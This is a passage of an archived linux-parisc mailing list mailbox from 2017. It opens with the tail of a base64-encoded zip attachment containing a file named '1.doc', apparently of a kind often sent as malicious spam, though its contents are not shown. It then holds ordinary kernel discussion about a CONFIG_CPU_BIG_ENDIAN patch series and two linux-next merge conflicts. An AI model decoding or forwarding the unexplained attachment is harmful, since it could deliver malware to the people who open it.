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
AGAaAQAAAA==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg KH <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.sparc
Subject: Re: [PATCH v3 0/3] Define CPU_BIG_ENDIAN or warn for inconsistencies
Date: Tue, 29 Aug 2017 08:30:15 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20170829063015.GA12198@kroah.com>
References: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503988213 4608 195.159.176.226 (29 Aug 2017 06:30:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 29 Aug 2017 06:30:13 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        shorne@gmail.com, jejb@parisc-linux.org, deller@gmx.de,
        davem@davemloft.net, viro@zeniv.linux.org.uk, monstr@monstr.eu,
        mpe@ellerman.id.au, peterz@infradead.org, mingo@redhat.com,
        jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 29 08:30:07 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dma2F-0007cg-Tu
	for glpp-linux-parisc@m.gmane.org; Tue, 29 Aug 2017 08:30:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751285AbdH2GaK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 29 Aug 2017 02:30:10 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:34096 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751280AbdH2GaK (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 29 Aug 2017 02:30:10 -0400
Original-Received: from localhost (LFbn-1-12253-150.w90-92.abo.wanadoo.fr [90.92.67.150])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 72A0789E;
        Tue, 29 Aug 2017 06:30:08 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <1499358861-179979-1-git-send-email-babu.moger@oracle.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27775 gmane.linux.kernel:2559744 gmane.linux.ports.m68k:9495 gmane.linux.ports.sparc:26437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27775>

On Thu, Jul 06, 2017 at 09:34:18AM -0700, Babu Moger wrote:
> Resending the series per Greg KH's request.
> 
> Found this problem while enabling queued rwlock on SPARC.
> The parameter CONFIG_CPU_BIG_ENDIAN is used to clear the
> specific byte in qrwlock structure. Without this parameter,
> we clear the wrong byte.
> Here is the code in include/asm-generic/qrwlock.h
> 
> static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
>   {
>          return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
>   }
> 
> Also found few more references of this parameter in
> drivers/of/base.c
> drivers/of/fdt.c
> drivers/tty/serial/earlycon.c
> drivers/tty/serial/serial_core.c
> 
> Here is our previous discussion.
> https://lkml.org/lkml/2017/5/24/620
> 
> Based on the discussion, it was decided to add CONFIG_CPU_BIG_ENDIAN
> for all the fixed big endian architecture(frv, h8300, m68k, openrisc,
> parisc and sparc). And warn if there are inconsistencies in this definition.

Did this series ever get picked up by anyone?  I don't know whose tree
it should go through if not, anyone have any ideas?  I guess I could,
but arch-specific stuff is odd...

thanks,

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: manual merge of the tty tree with the parisc-hd tree
Date: Tue, 29 Aug 2017 16:35:13 +1000
Lines: 26
Approved: news@gmane.org
Message-ID: <20170829163513.4b119a91@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503988521 29851 195.159.176.226 (29 Aug 2017 06:35:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 29 Aug 2017 06:35:21 +0000 (UTC)
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Arvind Yadav <arvind.yadav.cs@gmail.com>
To: Greg KH <greg@kroah.com>, Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Aug 29 08:35:17 2017
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1dma7D-0004h4-78
	for glkn-linux-next@m.gmane.org; Tue, 29 Aug 2017 08:35:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751191AbdH2GfR (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Tue, 29 Aug 2017 02:35:17 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:48841 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750796AbdH2GfQ (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Tue, 29 Aug 2017 02:35:16 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3xhJm24FStz9t2x;
        Tue, 29 Aug 2017 16:35:14 +1000 (AEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1503988514;
        bh=VJ5HVak/LxKt8i6By9B6bf7QgMzo8+maJWi3b7HJ5iU=;
        h=Date:From:To:Cc:Subject:From;
        b=Ul+07JL1fh/wWbvtcc6pTizaahQWXm9406G+xUSIJI4c343mbZWMTyNVgxxIf1lj5
         v6ixsKbPikAx28yQM2Pb5wxr2iyhhFiAZaXDyAbfYHKZh672fZjJHK86BROLXx2pWZ
         js2B0NcnpRhA2i9nqJtf+pHfImpGT2KC8eQNjrUA5AvblimDwo0RbJtTzFsl0OTT/i
         tq8bxpebJA4RhXeQIdBRSi47bKHdRpt7ysYYmKSEKXaDEx6vcUDhkXoNZq0D/Ds2qW
         oY5LQ9peYAqPaLf1dTCr8YrfzAV0kiEtn1UrGs6J0TRB6LfXLlG0+78ygXuiViBnJ/
         MCq3izVocATTQ==
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:43540 gmane.linux.ports.parisc:27776 gmane.linux.kernel:2559747
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/43540>

Hi Greg,

Today's linux-next merge of the tty tree got a conflict in:

  drivers/tty/serial/8250/8250_gsc.c

between commit:

  9e466f101e19 ("parisc/8250_gsc: Fix section mismatches")

from the parisc-hd tree and commit:

  0d474f7fad3b ("tty: 8250: constify parisc_device_id")

from the tty tree.

I fixed it up (the former is a superset of the latter) and can carry the
fix as necessary. This is now fixed as far as linux-next is concerned,
but any non trivial conflicts should be mentioned to your upstream
maintainer when your tree is submitted for merging.  You may also want
to consider cooperating with the maintainer of the conflicting tree to
minimise any particularly complex conflicts.

-- 
Cheers,
Stephen Rothwell

From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: manual merge of the tty tree with the parisc-hd tree
Date: Tue, 29 Aug 2017 16:38:58 +1000
Lines: 26
Approved: news@gmane.org
Message-ID: <20170829163858.3cab845b@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503988746 6724 195.159.176.226 (29 Aug 2017 06:39:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 29 Aug 2017 06:39:06 +0000 (UTC)
Cc: Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Arvind Yadav <arvind.yadav.cs@gmail.com>
To: Greg KH <greg@kroah.com>, Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Tue Aug 29 08:39:01 2017
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1dmaAp-0005NS-Cj
	for glkn-linux-next@m.gmane.org; Tue, 29 Aug 2017 08:38:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750909AbdH2GjB (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
        Tue, 29 Aug 2017 02:39:01 -0400
Original-Received: from ozlabs.org ([103.22.144.67]:46763 "EHLO ozlabs.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750758AbdH2GjB (ORCPT <rfc822;linux-next@vger.kernel.org>);
        Tue, 29 Aug 2017 02:39:01 -0400
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by ozlabs.org (Postfix) with ESMTPSA id 3xhJrL6Bqmz9t2v;
        Tue, 29 Aug 2017 16:38:58 +1000 (AEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=canb.auug.org.au;
        s=201702; t=1503988739;
        bh=jY/0bONgsNLHbyCs25bFALHSegTJG5QLlJZCkb4oRSU=;
        h=Date:From:To:Cc:Subject:From;
        b=lkPgZo39IOOqtQ272qLzLF+T/X8l7h9SzEyYLRNISTH+o380Q5SUaCr7dkWkx2GMB
         AdRBvkUT1FF9YB3vCUgyg08hlgyY96ei405fmu9WXfwWABfAZ/WRJ0Oy+vw2njEZIH
         BEasKfpRR+JQFxNogxiXqsmPdM0g3GXU9ByYKJuxHQDFQraHr7XX7M94S1+DaJIPCA
         ZVQ//QuPUoe5Yz6F6/y9t/vnNdABCvG7BKEp7YUrbs8RpnNPPzjtHLWcUZ4oN+Pxyp
         GZXD7Y6ptJogUof85PcJs07jF+Iiovc6hX58sUBVlN8w5hdRWCbLkB170qqa6+/wQ5
         sIu9KkN5BnENw==
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:43541 gmane.linux.ports.parisc:27777 gmane.linux.kernel:2559750
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/43541>

Hi Greg,

Today's linux-next merge of the tty tree got a conflict in:

  drivers/tty/serial/mux.c

between commit:

  fc72b7a3a0d8 ("parisc/mux: Fix section mismatches")

from the parisc-hd tree and commit:

  829374f544b3 ("tty: mux: constify parisc_device_id")

from the tty tree.

I fixed it up (the former is a superset of the latter) and can carry the
fix as necessary. This is now fixed as far as linux-next is concerned,
but any non trivial conflicts should be mentioned to your upstream
maintainer when your tree is submitted for merging.  You may also want
to consider cooperating with the maintainer of the conflicting tree to
minimise any particularly complex conflicts.

-- 
Cheers,
Stephen Rothwell

From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.next,gmane.linux.kernel
Subject: Re: linux-next: manual merge of the tty tree with the parisc-hd tree
Date: Tue, 29 Aug 2017 08:58:10 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20170829065810.GB13428@kroah.com>
References: <20170829163513.4b119a91@canb.auug.org.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503989892 29796 195.159.176.226 (29 Aug 2017 06:58:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 29 Aug 2017 06:58:12 +0000 (UTC)
User-Agent: Mutt/1.8.3 (2017-05-23)
Cc: Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        Linux-Next Mailing List <linux-next@vger.kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Arvind Yadav <arvind.yadav.cs@gmail.com>
To: Stephen Rothwell <sfr@canb.auug.org.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 29 08:58:06 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dmaTH-00074u-4L
	for glpp-linux-parisc@m.gmane.org; Tue, 29 Aug 2017 08:57:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751215AbdH2G6F (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 29 Aug 2017 02:58:05 -0400
Original-Received: from out2-smtp.messagingengine.com ([66.111.4.26]:36929 "EHLO
        out2-smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1750779AbdH2G6E (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 29 Aug 2017 02:58:04 -0400
Original-Received: from compute6.internal (compute6.nyi.internal [10.202.2.46])
        by mailout.nyi.internal (Postfix) with ESMTP id 33BB820BF5;
        Tue, 29 Aug 2017 02:58:04 -0400 (EDT)
Original-Received: from frontend1 ([10.202.2.160])
  by compute6.internal (MEProxy); Tue, 29 Aug 2017 02:58:04 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
        messagingengine.com; h=cc:content-type:date:from:in-reply-to
        :message-id:mime-version:references:subject:to:x-me-sender
        :x-me-sender:x-sasl-enc:x-sasl-enc; s=fm1; bh=r2Tj8N0VP4nTU/lSee
        w8nS40+wBFZpgduJ1b+G9Ruf8=; b=Nx4tpFMT53Iox4V517P85fZkA0yhG6irKs
        wEKJ3aRNGqykBG07lJ90tS0BYUfbRNBRUvMqDdLbYoYy6/MO+bIrjVRCDeclkV+3
        J4EA35+ZiLT3/kQb2tryXbFhb6FQIelbgQP9DBPwNhsfEt2diXJYofryTx+Q2/RP
        WIoat96B43sqxi+jKYSB6BcP1u7y11gqSP84TITOXtgwDW7csVo30l/EQU79FpZh
        kxBYNuKugd0EyTlF2rv1fM8A2ug8GakBgzMpl3VCGpk0ZeBvts9LQpRamrDGO6Ot
        cZrtm9Tk3v2RHgP2rMw8kNjIVhS15BN4ThlygoNE6E12zeyVoIMg==
X-ME-Sender: <xms:fBClWYBMglTy5nnPCIlh9zJ6gf7ZjM9QkA1kYCjDhFlLvSScpriwTQ>
X-Sasl-enc: J4FibYxlpnvfWyVUlDr0qJBtPAz8iVC+675dAxg/N99+ 1503989883
Original-Received: from localhost (lfbn-1-12253-150.w90-92.abo.wanadoo.fr [90.92.67.150])
        by mail.messagingengine.com (Postfix) with ESMTPA id C6E777F9A9;
        Tue, 29 Aug 2017 02:58:03 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20170829163513.4b119a91@canb.auug.org.au>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27778 gmane.linux.kernel.next:43542 gmane.linux.kernel:2559758
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27778>

On Tue, Aug 29, 2017 at 04:35:13PM +1000, Stephen Rothwell wrote:
> Hi Greg,
> 
> Today's linux-next merge of the tty tree got a conflict in:
> 
>   drivers/tty/serial/8250/8250_gsc.c
> 
> between commit:
> 
>   9e466f101e19 ("parisc/8250_gsc: Fix section mismatches")
> 
> from the parisc-hd tree and commit:
> 
>   0d474f7fad3b ("tty: 8250: constify parisc_device_id")
> 
> from the tty tree.
> 
> I fixed it up (the former is a superset of the latter) and can carry the
> fix as necessary. This is now fixed as far as linux-next is concerned,
> but any non trivial conflicts should be mentioned to your upstream
> maintainer when your tree is submitted for merging.  You may also want
> to consider cooperating with the maintainer of the conflicting tree to
> minimise any particularly complex conflicts.

Thanks for letting me know about this, and the other conflict here.

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.mips,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/4] sgiseeq: switch to dma_alloc_attrs
Date: Tue, 29 Aug 2017 10:02:43 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20170829080243.GA10358@lst.de>
References: <20170826072125.9790-1-hch@lst.de> <20170826072125.9790-2-hch@lst.de> <20170828.154151.502026172655565151.davem@davemloft.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503993782 29013 195.159.176.226 (29 Aug 2017 08:03:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 29 Aug 2017 08:03:02 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: hch@lst.de, netdev@vger.kernel.org, ralf@linux-mips.org,
        linux-mips@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: David Miller <davem@davemloft.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 29 10:02:48 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dmbTy-0006pd-UC
	for glk-linux-kernel-3@m.gmane.org; Tue, 29 Aug 2017 10:02:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751295AbdH2ICt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Tue, 29 Aug 2017 04:02:49 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:43067 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750822AbdH2ICr (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 29 Aug 2017 04:02:47 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id E5E3868C47; Tue, 29 Aug 2017 10:02:43 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20170828.154151.502026172655565151.davem@davemloft.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
